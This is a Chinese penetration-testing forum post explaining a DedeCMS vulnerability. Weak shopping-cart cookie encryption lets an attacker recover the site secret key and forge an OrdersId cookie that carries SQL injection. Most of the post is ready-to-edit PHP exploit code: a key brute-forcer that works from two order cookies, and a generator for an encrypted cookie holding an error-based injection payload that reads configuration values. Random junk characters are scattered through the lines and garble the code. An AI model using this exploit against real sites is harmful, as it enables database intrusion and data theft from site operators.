中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=# X* }5 {/ [" r2 J6 W5 X
在 include/shopcar.class.php中6 M/ s  r! H/ P/ c8 v
先看一下这个shopcar类是如何生成cookie的: w7 P% |, E' F
239      function saveCookie($key,$value)
4 X1 c3 Z  s( T# r( [& |/ h6 d240      {
8 l5 {3 k# W$ c/ F; {2 {4 i241          if(is_array($value))
- E5 |- P/ L# H$ b242          {, \$ @1 l( v3 s% _- b; ]* b& J
243              $value = $this->enCrypt($this->enCode($value));4 l: {) E3 a6 H+ H  R7 j" D
244          }
0 g+ H  h  P  l2 |: k& e245          else: `$ A- z& I  j6 r, K3 k
246          {$ W1 z7 E( |/ I6 j. _& w
247              $value = $this->enCrypt($value);! A& j' x1 n& ]+ K# u: _2 q. b
248          }
4 a  i+ E" ~; O" g* p, J249          setcookie($key,$value,time()+36000,’/');
; H! k8 ~9 A- k9 W0 X9 H. ~250      }5 c" W1 c# B8 a1 u. V, j
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数* n1 _, f6 B8 V; S9 L4 B
186      function enCrypt($txt)
- ~4 h9 C* u4 C& a187      {$ x6 L( y7 x# K
188          srand((double)microtime() * 1000000);% W- ]4 y- Z, u; g. C) b  z" u# h
189          $encrypt_key = md5(rand(0, 32000));# v1 e3 w  e0 B, z( Z
190          $ctr = 0;
6 ~3 F7 x* B" m1 y9 B5 a& I191          $tmp = ”;
& _3 n; X# \& c, U; g' s192          for($i = 0; $i < strlen($txt); $i++)- t: X% k- B" g& n8 V! B
193          {
  L- D+ @; x! T% R2 z' i194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ W" j4 Q5 T; f0 n0 v
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);- \0 u8 G% \% z2 Q' Z# J
196          }: I. k6 P! L! n. ]) \# ~
197          return base64_encode($this->setKey($tmp));( |: a$ Y9 _' G) @$ }
198      }5 E/ _" F( q7 F. ^) j: h$ O: R& ~. s
213      function setKey($txt), o: i+ S' W6 ?- r# {$ ~  j) S
214      {: _( x1 B* u: c8 |) A
215          global $cfg_cookie_encode;0 K# Y  T8 X6 N1 y/ @, A$ G) o
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
% E4 L& j! j5 z9 D  ]# g* e5 L217          $ctr = 0;2 d) N2 J! m+ Z4 L# d3 C: W
218          $tmp = ”;# p) b, ^5 Q' V9 R; J% k- S
219          for($i = 0; $i < strlen($txt); $i++)
% p4 m7 |1 P2 I220          {' Y) w, I5 g7 G1 F* A
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 `# d0 \+ o8 _! k9 G: G222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
% {$ N" l; N; s) R% _  r$ X8 D223          }7 p; U& _$ R  j% V
224          return $tmp;
1 _9 M6 ~2 b5 X5 b) l225      }0 Q) O3 B* _+ q5 q+ m
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
4 }$ g9 ]7 z) j' R然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。3 C9 W# J- C% m) |
具体代码如下:
* E/ L0 N) s, G% C<?php
( q) S- ~6 F8 }8 Z% @3 _. G$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
, L$ H0 A9 m* @8 P. O$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
- w% W  s! E  x$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
9 K4 V' j- ^4 d1 R+ Ofunction reStrCode($code,$string)
+ o! B9 p( ]3 N- [1 Q{) D. k8 Q' p) ?
$code = base64_decode($code);% P4 R2 S* [3 F' Z. T! @
$key = “”;
- w- P& Y. D; D- T$ hfor($i=0 ; $i<32 ; $i++)
! Z- r3 T% z/ |. p$ W! O{: h7 d: S, ]4 k$ B" c3 F
$key .= $string[$i] ^ $code[$i];
+ K# e8 l( B% ~5 B7 U# O}9 h, v- A+ H) f% l* o2 Y+ |
return $key;
" w) W# p: w2 N! v% u& W}
) \% z$ s& ]9 k3 r( v$ J2 S( efunction getKeys($cookie,$plantxt)
- \8 \) L. {4 H. h% D4 w+ D0 O{
. }/ S6 V$ P; o0 F; q* g, H$tmp = $cookie;
: X* a  C' y, b- C, S$results = array();! Q, V6 j& D% R  w1 I- V3 p
for($j=0 ; $j < 32000; $j++)
6 _. u% r2 b" T- x{2 p) w# o: d; u3 ^
; q/ v4 w3 u) d/ u! j% @) ^! n
$txt = $plantxt;2 ~# H( s' N5 G7 D" T( n# V) O
$ctr = 0;
1 c/ S/ W8 b+ i3 ]! D$tmp = ”;2 c7 S" G8 Z: \9 a2 j# _
$encrypt_key = md5($j);* i1 w6 V. b; O: @( c6 h
for($i =0; $i < strlen($txt); $i ++)7 \/ k; ^5 a2 B* M  D5 m" N
{
0 ^1 b1 [/ S/ J/ J$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;( @$ }  d1 L- @. L# [
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 c, J0 ^) K2 L, Y! z; L" ~) v0 o}9 a  ?+ n: `+ m
$string = $tmp;
9 q# c6 H7 T! ?; q( s0 Z5 I; J/ @$code = $cookie;
8 r6 W5 `$ f6 t+ X$ u+ @: m* F$result = reStrCode($code,$string);' P( h6 G& \& E) Z- t8 _
if(eregi(‘^[a-z0-9]+$’,$result))
! A2 R4 G; j2 p6 A$ k1 ]{
0 ]" ]/ d. F2 t. J6 N$ C; Aecho $result.”\n”;! u: K( y& K9 {# R% g; f
$results[] = $result;- W) ]9 z( p  m/ M5 k
}
2 i- l5 g2 B) T( I}
( c! y0 N  T. ~! v! {% B4 Greturn $results;
. i% ?7 p) c9 Z1 N7 H, P( a2 D& a}5 e6 G5 E' S, _5 A. u
$results1 = getKeys($cookie1,$plantxt);
" a0 m4 O, ^0 |$results2 = getKeys($cookie2,$plantxt);( o9 J6 ~- _$ I; D
print “\n——————–real key————————–\n”;
' M( Z4 h! H3 i) Q0 nforeach($results1 as $test1)% J& W$ I: x. w5 A& B% _  a$ Z: k& V
{
. N. t& i& w. w0 Sforeach($results2 as $test2)
3 e. O# f! j1 j/ E9 c9 f# l5 O{
4 M! R5 Y% Z+ o- W- z( aif($test1 == $test2)( J. s9 \( C) c- z
{  a- @) u4 G6 H) ]" G
echo $test1.”\n”;) j0 C8 T  I; N5 ~% q8 k% r5 n# {
}- K- q) }! V  H7 K# w3 m6 w6 P
}
# @( q: ~% |7 z0 Y1 s$ }}
2 N& N6 T* H8 E- C3 k?>& x& Z: o1 F. o# s, \; ?
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie," Y) u$ d! u$ z3 ]) \* S+ ?
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1# ], ?- T6 p- Z6 i$ ^
然后推算出md5(strtolower($cfg_cookie_encode))
! ]1 @( B) s1 h) j* |! p5 [得到这个key之后,我们就可以构造任意购物车的cookie3 b# F* k+ h/ X; q
接着看
7 y4 ]6 O1 e1 o8 i( t- ^1 M: u0 L20  class MemberShops
- p1 n3 o2 S1 o& v4 G' B: c2 j. h. Z21  {4 e4 ?. `9 o, Q8 z& X
22      var $OrdersId;, o" m" z8 {  ?8 B
23      var $productsId;2 M# i8 d1 b7 c$ z6 f. i* b- P
24
- A# k9 s2 m. K- J, p; m3 X25      function __construct()
! h4 }( `7 p+ N6 F- \' w* A26      {
7 N' I3 K- P! e3 i, d$ g% o27          $this->OrdersId = $this->getCookie(“OrdersId”);0 q7 T4 Y" y( S4 E8 J
28          if(empty($this->OrdersId))+ L& W8 F/ j0 K0 W
29          {
3 F2 u- ~1 n4 ~2 `3 `) |30              $this->OrdersId = $this->MakeOrders();
; M/ P  J; S: l$ O31          }
0 V8 ^* W, p' o% \+ K32      }
6 i2 t1 Z+ g" i- k+ I" A) r发现OrderId是从cookie里面获取的
- x( `& a/ P5 |& S% p然后! k: A7 Z. i, n
/plus/carbuyaction.php中的
, u( _; G1 y) v# @$ G( Y  y9 t29      $cart    = new MemberShops();" b9 q4 j, l, ~
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号3 T  Y8 [; f7 f# h) i
……
) \- S! m1 x( x6 [+ [. k7 [6 x173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);0 p( G0 x, v- l4 H' d
接着我们就可以注入了" M& [$ X4 D" ^, ~' z7 |2 S
通过利用下面代码生成cookie:& k9 m9 |; o* z$ M% W5 m" c
<?php
, g2 d2 \5 m8 l) X6 W" H$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;! J5 }  F! q5 }& M, _" R$ u# r) d# H
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
% D0 Y, u& n' j/ n3 T( {% o2 r. b0 ~function setKey($txt)
2 W0 I" C+ }( P% T' E9 K( t3 o" E& Z, `{
  I2 b# d5 @* J0 Y+ hglobal $encrypt_key;; V4 z' q% w7 n/ H3 y/ B
$ctr = 0;
( ^# h+ z6 {' X. W$ _1 x4 [$tmp = ”;
: ?3 s8 V5 V! Qfor($i = 0; $i < strlen($txt); $i++)1 R5 U# T! Z, H+ p
{0 N6 q( J7 i  ~, z
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;3 v$ a' c! r2 h1 M+ N% @
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
( G' y$ o- S6 C4 @( n4 b+ ~; Z/ H7 P}$ M, p4 y$ Q+ ~: p9 \1 J4 l7 p( C! Z
return $tmp;& ?2 r) K( j( O3 N0 B2 E
}
9 m8 D9 g: v: G: m7 rfunction enCrypt($txt)! q  n/ ]4 W' W, |- r
{
3 v* q5 ~% {. c5 e$ `9 I* gsrand((double)microtime() * 1000000);1 x, T& Z0 z0 w( `; `
$encrypt_key = md5(rand(0, 32000));
0 q7 w+ F$ t* h0 D$ctr = 0;
% j9 I7 T, }. D/ O$tmp = ”;- q8 T  Y) `0 y8 g* H
for($i = 0; $i < strlen($txt); $i++)3 P5 [4 G6 s( |# s- O% V
{
3 i$ l/ j" r- S# }- d7 N3 _$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 o; f$ g$ s; `/ ~$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 e, }) n, N; S( [
}8 p# [6 ], w+ h) k
return base64_encode(setKey($tmp));7 W7 H  G5 u* d9 D
}
  b3 v& U8 q  Z( |; ~for($dest =0;$dest = enCrypt($txt);)! Q2 o. s$ x8 V0 `' H! K1 X. R. p( z/ z
{
) s, |9 M* L8 x7 J8 f, Hif(!strpos($dest,’+')), S' N$ l9 S% u+ Q- Y0 N" [( @$ j
{& u/ c& L6 E& L3 A, e0 P
break;
; L7 `% u# O* q! J, F3 M1 Q}
) E$ {/ `& B2 I}0 d, E/ @, t. r5 _1 }
echo $dest.”\n”;
, s: f; g8 Z; G; `+ J( X. h- ~?>3 H( M% z  |# n& L) h+ p( P% m( m

1 o2 u2 Q+ T, [7 ~




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2